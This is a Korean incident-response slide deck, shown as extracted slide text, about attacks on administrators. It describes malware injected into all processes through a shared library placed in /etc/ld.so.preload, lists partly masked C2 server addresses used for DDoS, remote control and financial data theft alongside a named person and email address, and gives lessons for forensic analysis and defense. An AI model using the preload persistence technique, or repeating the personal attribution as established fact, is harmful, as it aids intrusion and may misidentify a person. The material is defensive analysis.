    5th Case 관리자공격 [root@exxx bin]# stat /lib/libcom.so.3.0.1 File: `/lib/libcom.so.3.0.1' Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) 리눅스 preload (/etc/ld.so.preload) - 모든 프로세스에 so 파일 인젝션 Collabo
  • 74.
  • 75.
    디도스 공격 C2 ’15.4.25 27.x55.78.x 금융정보유출 ’15.7.7 APTC2 사용자 zhongwei wang 26815139@qq.com 27.x55.84.x ’15.1.22 27.x55.67.x 디도스 & 원격제어 C2 ’14.12.10 27.x55.71.x 5th Case 주요 거점 Collabo
  • 76.
    76 8 16 0 10 2030 40 50 60 70 80 1개월~3개월 4개월~6개월 6개월~1년 최초 침투에서 악성코드 유포까지 소요된 기간 비율 시스템 상세 분석이 진행된 사고(50여건) 기준 5th Case Log... Collabo
  • 77.
    관찰은 쓰다. 그러나열매는 달다 내가 해봐야 하는 것은 보안 내재화다 Episode
  • 78.
     명확하고 신속한의사소통(분석가, 피해기관, 유관기관)  다양한 로그 분석을 통한 신중한 결과 도출(유관기관과의 정보공유)  분석 결과 기반 추가 증거 수집  이미지 및 방화벽로그/DB로그/해킹도구 등 다양한 분석 경험  전체적인 분석방향 및 일정 조율  상세한 리포트 거의 끝. Think... NOPASIM
  • 79.
     공격대상 기관의특성에 따라 침투 경로 및 기법 상이  보안 체계 자체의 Risk  최초 침투경로 확인 방안 / 전사적 보안 점검 방안  로그관리의 표준화  네트워크 기반 이상행위 탐지 체계  Defensive Security의 활성 거의 끝. Think... NOPASIM